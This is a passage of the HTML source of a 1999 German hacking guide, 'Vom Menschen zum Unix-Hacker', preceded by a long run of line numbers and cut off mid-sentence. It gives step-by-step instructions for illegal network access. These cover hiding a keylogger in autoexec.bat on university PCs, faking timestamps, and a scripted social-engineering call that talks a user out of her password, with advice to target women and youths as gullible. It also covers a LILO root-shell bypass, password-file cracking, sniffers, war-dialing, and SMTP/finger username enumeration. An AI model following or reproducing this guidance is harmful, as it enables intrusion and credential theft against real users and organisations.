123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331 |
- <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
- <meta name="GENERATOR" content="Mozilla/4.51 [en] (X11; I; Linux 2.2.7 i686) [Netscape]">
- <title>Human to Hacker Version 1.1</title>
- </head>
- <body bgcolor="#FFFFFF">
- <center>
- <h1>
- <font color="#FF0000">Vom Menschen zum Unix-Hacker</font></h1></center>
- <center>
- <h4>
- Author: TICK / THC</h4></center>
- <center>
- <h4>
- Last Update: 1999-07-04</h4></center>
- <center>
- <h4>
- <a href="mailto:T_I_C_K@gmx.net">Email: T_I_C_K@gmx.net</a></h4></center>
- <center>
- <h4>
- <img SRC="pic1.gif" ></h4></center>
- <p><br><a NAME="inhalt"></a>
- <h2>
- <font color="#990099">Inhaltsverzeichnis</font></h2>
- <ol>
- <li>
- <img SRC="godown.gif" height=10 width=14> <a href="#a0">Vorwort</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a1">Voraussetzungen</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a2">Wie bekomme ich (illegalen) Zugang
- zum Internet?</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a3">Die Literatur:</a></li>
- <br>Der unangenehme Teil
- <br>oder:
- <br>Der Schluessel zum Erfolg
- <li>
- <img SRC="godown.gif" > <a href="#a4">Wie komme ich weiter?</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a5">Wie rette ich meinen Arsch?</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a6">Ein paar Gedanken zum Sein eines
- Hackers</a></li>
- <li>
- <img SRC="godown.gif" > <a href="#a7">Yeah, time to become 31337.</a></li>
- <li>
- <img SRC="godown.gif" height=10 width=14> <a href="#a8">Ein Blick ueber
- die Schulter</a></li>
- <li>
- <img SRC="godown.gif" height=10 width=14> <a href="#a9">Persoenliche Sicherheit</a></li>
- <li>
- <img SRC="godown.gif" height=10 width=14> <a href="#a10">Letzte Worte</a></li>
- <li>
- <img SRC="godown.gif" height=10 width=14> <a href="#a11">Wichtige Links</a></li>
- <li>
- <a href="tools.html">Tools</a></li>
- </ol>
- <h3>
- <hr WIDTH="100%"></h3>
- <a NAME="a0"></a>
- <h3>
- <font color="#993399">Vorwort</font></h3>
- Auch wenn es fuer einen Anfaenger hart ist, aber ich werde gewisse Dinge
- wie NIS, Passwordcracker, Packetsniffer, et cetera nicht erklaeren; ich
- setze sie als bekannt voraus. Wenn du mit diesen Dingen arbeitest, dann
- wirst du sie verstehen, und in den Buechern/Docs werden sie haeufig auch
- erklaert.
- <p>Zeilen, die mit dem Groesser-als Zeichen '>' beginnen sind Eingaben
- (von dir).
- <br>Zeilen, die mit dem Kleiner-als Zeichen '<' beginnen, stellen Ausgaben
- (z.B. von einem Programm) dar.
- <br>Befehle werden <b>fett</b> gedruckt, Captures <font color="#FF0000">rot</font>
- und Filenamen <font color="#33FF33">gruen</font> indiziert.
- <p>Bitte sendet alle Verbesserungen, Erweiterungen, Anregungen und <u>intelligenten</u>
- Fragen
- <br>an meine E-mail Adresse.
- <p>Dieses Paper soll <u>keine</u> Aufforderung zum Hacken sein!
- <p>For non-german guys:
- <br>Sorry, but I'm too lazy to translate this text to english.
- <br>But maybe sometimes I (or someone else) will.
- <br>
- <p><a NAME="a1"></a>
- <h3>
- <font color="#990099">Voraussetzungen</font></h3>
- Ja gut, die Voraussetzungen um Hacker zu werden.... also, das Wichtigste
- ist ein eiserner Wille; du musst Hacker werden wollen, mit jeder Zelle
- deines Koerpers ;) - aber nicht verkrampfen, denn dann wird der Fluss der
- Phantasie blockiert ;). Ein IQ >= 100 waer' auch ganz sinnvoll... hm, aja,
- 'n Computer und 'n Modem... sind deine Hauptwerkzeuge. Du solltest in C
- programmieren koennen, da auf (fast) jedem Unix-System ein C- Compiler
- installiert ist und der groesste Teil der Sourcecodes in C geschrieben
- ist. Ich werde im Verlauf dieses Artikels ein Buch vorstellen, das meiner
- Meinung nach eine sehr gute und umfassende Grundlage fuer's Programmieren
- in C bietet, falls du schon eine Hochsprache beherrschst und dir einiges
- zutraust, dann reicht es, ein Buch ueber Unix Systemprog. zu lesen.
- <br>Desweiteren ist es sinnvoll ein Unix auf deinem Rechner zu installieren,
- z.B. Linux (fuer Anfaenger wuerde ich SuSE Linux empfehlen, es ist gut
- dokumentiert und zudem einfach zu installieren) oder FreeBSD (ist im Gegensatz
- zu Linux ein echtes Unix, da es von den urspruenglichen Quellen abstammt).
- Es gibt noch weitere Unixes fuer x86er wie BSDI, OpenBSD (sehr sicher und
- user-unfreundlich... ein echtes Maenner-Betriebssystem *G*), Solaris x86,
- SCO etc. aber das braucht dich ersteinmal nicht zu interessieren. ;-)
- <p>Bis du ein erfahrener Hacker bist koennen selbst bei grossem Engagement
- einige Jahre vergehen.
- <br>
- <p><a NAME="a2"></a>
- <h3>
- <font color="#990099">Wie bekomme ich (illegalen) Zugang zum Internet?</font></h3>
- Also mir kommen jetzt mehrere Moeglichkeiten in den Sinn, ich werde mal
- mit der Methode beginnen, die ich auch verwendet habe - sozusagen die,
- die ihren Praxistest schon bestanden hat.
- <p>Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access)
- in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder
- einen Nebenjob.
- <br>Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern offenhalten,
- die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden
- und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC
- rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh'
- dir seinen Aufbau genau an (<font color="#33FF33">autoexec.bat </font>&
- <font color="#33FF33">config.sys</font>...).
- Beobachte wie er benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet).
- Lass dich mal ganz
- <font color="#000000">plump</font> von 'nem Studenten
- in die Benutzung des Rechners einweisen. Dann benutze diesen Rechner fuer
- anonymous <i>FTP</i>,
- <i>HTTP</i> und den ganzen Kram, der kein Passwort
- erfordert, und wenn sich die Gelegenheit mal bietet, dann kopiere dir die
- <font color="#33FF33">autoexec.bat</font><font color="#000000">,</font><font color="#33FF33">config.sys</font>
- und den Stammverzeichnisbaum (<b>tree</b>) auf 'ne Diskette.
- <br>Kommen wir jetzt zum spannenden Teil. Es geht darum ein <i>TSR</i>-Programm
- zu installieren, welches die Tastatureingaben in eine Datei protokolliert
- . Um dieses <i>TSR</i>-Prog. so gut wie moeglich zu verstecken tarnt man
- es als ein anderes Prog. und fuegt einen entsprechenden Eintrag in die
- <font color="#33FF33">autoexec.bat</font>
- ein. Man kann z.B. den Mouse-Treiber durch einer Batch-Datei ersetzen,
- die erst unser <i>TSR</i> und dann den Mouse-Treiber aufruft o. ae.. Wenn
- du fit in ASM-Programmierung bist, dann kannst du das <i>TSR</i> vor
- <b>mem</b>
- verstecken (ich glaube, indem man irgendwie 'ne Memorygrenze veraendert
- - keine Ahnung).
- <br>Unter Umstaenden muss man das <i>TSR</i> mit einem HEX-Editor seinen
- Anforderungen anpassen. Du solltest bedenken, dass die Protokolldatei den
- ganzen Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette
- bringen und von der Platte entfernen. Desweiteren muessen die Timestamps
- angepasst werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
- <br>So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine
- Batch-Datei fuer die Installation des <i>TSR</i>s, fuer das <b>move</b>'n
- der Protokolldatei und zum Deinstallieren des <i>TSR</i>s und zur Wiederherstellung
- des Orginalzustandes (Timestamps nicht vergessen). Teste deine Strategie
- und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine
- Fehler mehr geben, alles muss schnell und reibungslos verlaufen.
- <p><u>Interpretation der Protokolldatei:</u>
- <br>Wenn du z.B. folgendes siehst:
- <br><font color="#FF0000">ftp blah.am.arsch.de</font>
- <br><font color="#FF0000">franz</font>
- <br><font color="#FF0000">schwanz</font>
- <br>... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit
- dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die
- Eingaben richtig waren :).
- <br>Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.
- <p>Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer
- des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
- <br>Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich
- als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen.
- Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ)
- oder auf deren Web-Site.
- <br>Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen
- kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal
- auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das
- selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es
- wird <i>NIS</i> (oder <i>NIS</i>+, <i>rdist</i>, <i>DCE</i>, <i>CORBA</i>
- etc) benutzt
- <br>So, wenn du in dem System bist, dann mache dich damit vertraut (in
- Uni-Systemen faellt man nicht so schnell auf).
- <br>Von der Uni aus, kannst du dann am Besten noch Domains hacken, die
- in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern
- - auch wenn die gehackte Uni im City-Tarif Bereich ist, denn je mehr Einwahlpunkte
- du zum Internet hast um so besser.
- <br>Du kannst deine Telefongebueren auch sparen, indem du 'ne <i>PBX</i>
- hackst (im 0130/0800/0180*- Bereich oder von lokalen Firmen) oder durch
- <i>Blueboxing</i>
- - ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom
- gerne Phreaker kennen lernen will und <i>PBXs</i> meistens gute Intrusion
- Detection Systems besitzen. ;)
- <br>Bei Firmen ist die ganze Angelegenheit etwas gefaehrlicher als bei
- Universitaeten oder FHs.
- <p>Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen
- Trojan-Horses einbringen oder ganz simpel den Leuten ueber die Schulter
- sehen, wenn sie sich in die Rechner einloggen.
- <p>Die "Experten" unter euch koennen einen <i>Vampire-Tap</i> oder einen
- Laptop mit Sniffer in deren Netz einbringen und so einfach die Account-Informationen
- aufzeichnen.
- <br>Der Vorteil des <i>Vampire-Taps</i> ist, dass es nicht durch Messgeraete
- entdeckt werden kann, die die Entfernung bis zum naechsten Ende/Bruch im
- Netzkabel messen.
- <p>Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der
- Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen
- Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine
- bessere Loesung ist da schon eine veraenderte <font color="#33FF33">WINSOCK.DLL</font>
- zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.
- <p>Natuerlich kannst du auch einen auf DOS, Win9? oder NT basierenden Sniffer
- verwenden.
- <p>Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die
- Passwortdatei auf deinen Rechner und cracke die Passwoerter.
- <p>Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter.
- ;)
- <p>Wenn du physikalischen Zugriff auf einen Linux Rechner hast, der mit
- <i>LILO</i>
- gebootet wird,
- <br>dann tippe am <i>LILO</i>-Prompt hinter dem Bootlabel fuer Linux "init=/bin/bash
- rw" ein und der Rechner bootet im Single-User Mode und gibt dir eine root
- Shell ohne Passwortabfrage. Andernfalls kannst du den Rechner immer noch
- mit einer Bootdiskette hochfahren.
- <p>In der nach-Telekom-Monopol und Internet Aera bieten viele Telekomunikations-Firmen
- Internetzugaenge an, die einfach durch die Angabe der eigenen Bankverbindung
- o. ae. benutzt werden koennen. Am Besten ihr werft 'nen Blick in den <a href="salpeter.html">Artikel</a>
- von Salpeter (Kommentare hierzu bitte nicht an mich).
- <p>Und nun noch ein old-school Weg. Er erfordert weniger den technischen
- sondern mehr den physischen und mentalen Aufwand.
- <br>Such' dir ein/e Institut/Firma mit Internetanschluss (in deiner Stadt)
- aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal
- wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und
- der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung
- zu bringen kannst du den Muell der Firma durchsuchen (sog. <i>Dumpster
- Diving</i>) oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer
- herausfinden:
- <br>Entweder einfach anrufen und als User ausgeben (wenn du den Namen eines
- Kunden hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben
- oder den Telefonnummernbereich deines Ziels durchscannen.
- <br>Das Scannen geht wie folgt:
- <br>Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese
- Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen mit ihren
- Tk-Anlagen (man koennte natuerlich auch die TK-Anlage zu seinem Vorteil
- manipulieren, aber dieses Thema soll nicht Bestandteil dieses Papers sein
- und wuerde auch viel zu weit fuehren) einen bestimmten Nummernbereich,
- z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch sind (z.B.
- 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0 meistens die
- Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr. von 911-0 bis
- 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter entdeckst,
- dann versuche ihn zu hacken (weitere Infos).
- <br>Du kannst den Scan-Bereich einschraenken indem du dir die Durchwahlnummer
- des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer
- die Rechnerverwaltung heisst - geben laesst und dann von dort startest
- (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an).
- <br>So jetzt Accounts besorgen.
- <br>Rufe einen User an - dabei solltest du folgendes beachten:
- <ol>
- <li>
- suche dir am Besten nur Frauen</li>
- <br>oder Jugendliche aus, da diese Personen leichtglaeubiger und techn.
- weniger versiert sind.
- <br>(<u>kein</u> Sexismus, reine Erfahrung :) )
- <li>
- keine direkten Mitarbeiter der Firma</li>
- <li>
- abends anrufen (zw. 19.00 und 21.00)</li>
- </ol>
- ... so, nehmen wir mal an, dass der Admin der Firma HAQ_ME Mark Abene und
- der User Kathrin Mitnick heisst und gehen wir davon aus, dass du den Usernamen
- kennst, dann koennte ein Gespraech folgendermassen ablaufen:
- <pre>MA: Guten Abend, hier spricht Mark Abene, ich bin der Computer-Administrator
- von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen?
- KM: Ja, am Apparat.
- MA: Oh gut, undzwar folgendes, wir hatten Gestern auf unserem Internet-Server
- einen Gang-Bang und uns sind einige Daten dabei verloren gegangen, darunter
- auch die Userdaten...
- KM: Oh Gott, wie schrecklich.
- MA: ... ja, ja, und ich hab' die Aufgabe die Daten von
- unseren Backupbaendern zu restaurieren und die User-Datenbank wieder
- neu einzurichten.
- KM: Aha...
- MA: Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie
- Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen
- ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen.
- KM: Oh ja, natuerlich.
- MA: Ok,... und wie lautete ihr Passwort?
- KM: Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien
- angefertigt?
- MA: Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider
- selten.
- Aufgrund unser hohen Sicherheitsansprueche wird von der User-
- Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass
- die Backupbaender gestohlen werden.
- KM: Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak".
- MA: Ok, ... dankesehr.
- Aufwiederhoeren.
- KM: Tschuess.</pre>
- Viel geredet fuer nur ein einziges Wort, aber es hat sich gelohnt. Du musst
- jederzeit ernst und ruhig klingen. Dieses Gerede ist sog. <i>Social Engeneering</i>.
- <br>Sollte es, aus welchen Gruenden auch immer, nicht klappen, dann kannst
- du auch ein Prog. verwenden, das das Passwort raet. Vielleicht funktionieren
- auch sog. Default-Accounts (z.B. Login: guest & Password: guest).
- <br>
- <p><a NAME="a3"></a>
- <h3>
- <font color="#990099">Die Literatur</font></h3>
- Nachfolgend findest du eine kleine Tabelle mit Buechern, die du lesen solltest.
- <br>
- <br>
- <center><table BORDER COLS=4 WIDTH="100%" NOSAVE >
- <tr>
- <td>
- <center><b>Autor </b></center>
- </td>
- <td>
- <center><b>Titel</b></center>
- </td>
- <td>
- <center><b>Verlag</b></center>
- </td>
- <td>
- <center><b>Kommentar</b></center>
- </td>
- </tr>
- <tr>
- <td>Gerhard Willms</td>
- <td>Das C-Grundlagen Buch</td>
- <td>Data Becker</td>
- <td>Das Fundament der C-Programmierung </td>
- </tr>
- <tr>
- <td>Nemeth, Snyder, Seebass, Hein</td>
- <td>Unix Systemadministration
- <br>Handbook </td>
- <td>Prentice Hall</td>
- <td>Meiner Meinung nach das beste Buch fuer Unix-
- <br>Systemadministration
- <br>(eine dt. Auflage ist auch erhaeltlich) </td>
- </tr>
- <tr>
- <td>W. Richard Stevens</td>
- <td>Programmierung in der Unix-Umgebung</td>
- <td>Addison-Wesley</td>
- <td>Mal wieder ein perfektes Werk.
- <br>Stevens schreibt die besten Buecher fuer Unix/Internet
- <br>Programmierung </td>
- </tr>
- <tr>
- <td>W. Richard Stevens</td>
- <td>Programmieren von Unix-Netzen</td>
- <td>Prentice Hall / Hanser</td>
- <td>2te Auflage</td>
- </tr>
- <tr>
- <td>W. Richard Stevens</td>
- <td>TCP/IP Illustrated Vol. 1/2/3</td>
- <td>Addison-Wesley</td>
- <td>Infos ueber das TCP/IP Protokol und dessen Implementierung
- <br>sehr wichtig</td>
- </tr>
- <tr>
- <td>Garfinkel und Spafford</td>
- <td>Practical Unix & Internet Security</td>
- <td>O'Reilley</td>
- <td>Das beste Buch in Sachen Unix- & Internet-
- <br>Sicherheit</td>
- </tr>
- <tr>
- <td>Chapman und Zwicky</td>
- <td>Einrichten von Internet-
- <br>Firewalls</td>
- <td>O'Reilley</td>
- <td>beschreibt den Aufbau von Firewalls
- <br>leider nicht uptodate aber trotzdem sehr gut</td>
- </tr>
- <tr>
- <td>Cheswick und Bellovin</td>
- <td>Firewalls und Sicherheit im Internet</td>
- <td>Addison-Wesley</td>
- <td>Ebenfalls Firewalls-
- <br>aufbau, aber etwas theoretischer
- <br>und zeigt uebersichtlich moegliche Schwaechen auf. </td>
- </tr>
- <tr>
- <td>Bruce Schneier</td>
- <td>Angewandte Kryptographie</td>
- <td>Addison-Wesley</td>
- <td>Bruce Schneier hat bei dem Buch ganze Arbeit geleistet. Es ist sehr
- gut zu lesen und enthaelt viele Informationen</td>
- </tr>
- <tr>
- <td>Electronic Frontier Foundation</td>
- <td>Cracking DES</td>
- <td>O'Reilley</td>
- <td></td>
- </tr>
- <tr>
- <td></td>
- <td>Linux-Kernel-Programmierung</td>
- <td>Addison-Wesley</td>
- <td>Wichtige Infos ueber den Linux-Kernel werden hier leicht erklaert.
- <br>Ganz nuetzlich, wenn du mal die Linux-Firewall evaluieren willst. ;)</td>
- </tr>
- </table></center>
- <p>Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu
- lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern
- - sie ersetzen aber nicht ein gutes Buch.
- <br>Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder
- bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.
- <br>
- <p><a NAME="a4"></a>
- <h3>
- <font color="#990099">Wie komme ich weiter?</font></h3>
- Du solltest dir einen legalen Internet-Zugang besorgen.
- <br>Anschliessend schreibst du dich in Unix- & Internet-Security
- Mailinglisten ein. Hier werden Hinweise auf Bugs in Programmen und Diensten
- gegeben und zusaetzlich auch noch kleine C-Programme oder Shell/Perl-Skripte
- mitgeliefert, die diese Bugs ausnutzen.
- <br>Trotz dieser Bequemlichkeit solltest du die old-school Methoden wie
- Trojan- Horses, etc nicht vergessen bzw. selbst dein Gehirn benutzen.
- <br>
- <center><table BORDER NOSAVE >
- <tr NOSAVE>
- <th NOSAVE>Adresse </th>
- <th>Subject </th>
- <th>Body </th>
- </tr>
- <tr>
- <td> <a href="mailto:best-of-security-request@suburbia.net">best-of-security-request@suburbia.net</a></td>
- <td></td>
- <td>subscribe best-of-security </td>
- </tr>
- <tr>
- <td> <a href="mailto:listserv@netspace.org">listserv@netspace.org</a></td>
- <td></td>
- <td>subscribe bugtraq </td>
- </tr>
- <tr>
- <td> <a href="mailto:majordomo@lists.gnac.net">majordomo@lists.gnac.net</a></td>
- <td></td>
- <td>subscribe firewalls </td>
- </tr>
- <tr>
- <td> <a href="mailto:fwall-users-request@tis.com">fwall-users-request@tis.com
- (???)</a></td>
- <td></td>
- <td>subscribe fwall-users </td>
- </tr>
- <tr>
- <td> <a href="mailto:majordomo@nsmx.rutgers.edu">majordomo@nsmx.rutgers.edu</a></td>
- <td></td>
- <td>subscribe www-security </td>
- </tr>
- </table></center>
- <p>Desweiteren kannst du einige Newsgroups mitlesen aber es ist viel Muell
- dabei und in den Hacker-Newsgroups ist schonmal garnichts zuholen.
- <p>Ok, gehen wir mal davon aus, dass du root Rechte hast. Eine Moeglichkeit
- um weitere Netze zu hacken besteht darin auf dem lokalen System nach Dateien
- wie <font color="#33FF33">.rhosts</font>, <font color="#33FF33">.netrc</font>
- und <font color="#33FF33">.forward</font> zu suchen; oder E-Mail nach Passworten
- (oder anderen interessanten Informationen) zu durchforsten. Um dir die
- Arbeit ueber 20.000 User zu checken (und beim Gebrauch von <i>NFS</i> noch
- zusaetzlich die UID zu wechseln) abzunehmen hab ich ein kleines Tool namens
- Searcher geschrieben.
- <br>Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest
- du gucken von welchen Hosts sie sich einloggen, dazu kannst du <b>last</b>,
- <b>w</b>
- oder aehnliches benutzen, du koenntest auch die Hosts aufs Korn nehmen
- in die sie sich einloggen, herausfinfen kannst du das z.B. mit <b>ps
- </b>(mit
- w-Option), <b>netstat</b>, oder du verifizierst die Mail-Aliases (<font color="#33FF33">/etc/aliases</font>)
- bzw. <font color="#33FF33">.forward</font> um zu sehen wohin ein User seine
- E-Mail umleitet.
- <br>Jetzt solltest du noch herausfinden welchen Usernamen er auf dem entfernten
- Host benutzt (in <font color="#33FF33">.forward</font> und in <font color="#33FF33">/etc/aliases</font>
- muss es angegeben werden; z.B. "remote-user@other-site.com"), dazu kannst
- du S<i>MTP</i> verwenden... Bsp.: User "victim" auf dem lokalen System
- (Realnamen: Hackers Victim) hat sich mit <b>telnet</b> auf dem Rechner
- "host.account.edu" eingeloggt.
- <pre>> telnet host.account.edu 25
- < Trying 123.10.0.1...
- < Connected to host.account.edu.
- < Escape character is '^]'.
- < 220-host.account.edu Sendmail 8.6.9/8.6.9 ready at Mon, 21 Jul 1997
- < 16:19:56 +0200
- < 220 ESMTP spoken here
- > vrfy victim
- < 550 victim... User unknown
- > vrfy hvictim
- < 250 Hackers Victim <hvictim@host.account.edu>
- > quit
- < 221 host.account.edu closing connection
- < Connection closed by foreign host.</pre>
- Der User verwendet also auf beiden Hosts nicht den selben Usernamen, da
- das Kommando "vrfy victim" von <i>Sendmail</i> (weitverbreitetes E-Mail-Verteilungs
- Programm, das an Port 25 haengt) mit "550 victim... User unknown" beantwortet
- wird.
- <br>Jetzt kannst du einige Kombinationen (z.B. aus den Initialen des Users)
- ausprobieren... BINGO!... "hvictim" ist der Username, den "victim" auf
- "host.account.edu" benutzt.
- <br>Bei vielen Mailservern wurde das <b>vrfy</b> Kommando aus Sicherheitsgruenden
- abgeschaltet. Jetzt koenntest du nur noch versuchen den Usernamen zu erraten,
- indem du E-Mails an den Server schickst und die Error-Messages des Servers
- ueberpruefst, die du fuer nicht vorhandene User zurueck bekommst - dieses
- Verfahren ist nicht gerade sehr unauffaellig, also auch nicht zu empfehlen.
- <p>Du kannst auch noch <b>finger</b> (wird aber aus Sicherheitsgruenden
- haeufig nicht angeboten) oder aber <b>rusers </b>benutzen um alle eingeloggten
- User auf "host.account.edu" zu erfragen. Mit <b>finger</b> kannst du auch
- Loginnamen erraten, dafuer schreibst du einfach ein Shell-Script, das aus
- einem Dictionary bis zu n Woerter einliehst und en bloc an <b>fingerd</b>
- schickt.
- <p>Falls du keinen Erfolg haben solltest oder diese Dienste nicht angeboten
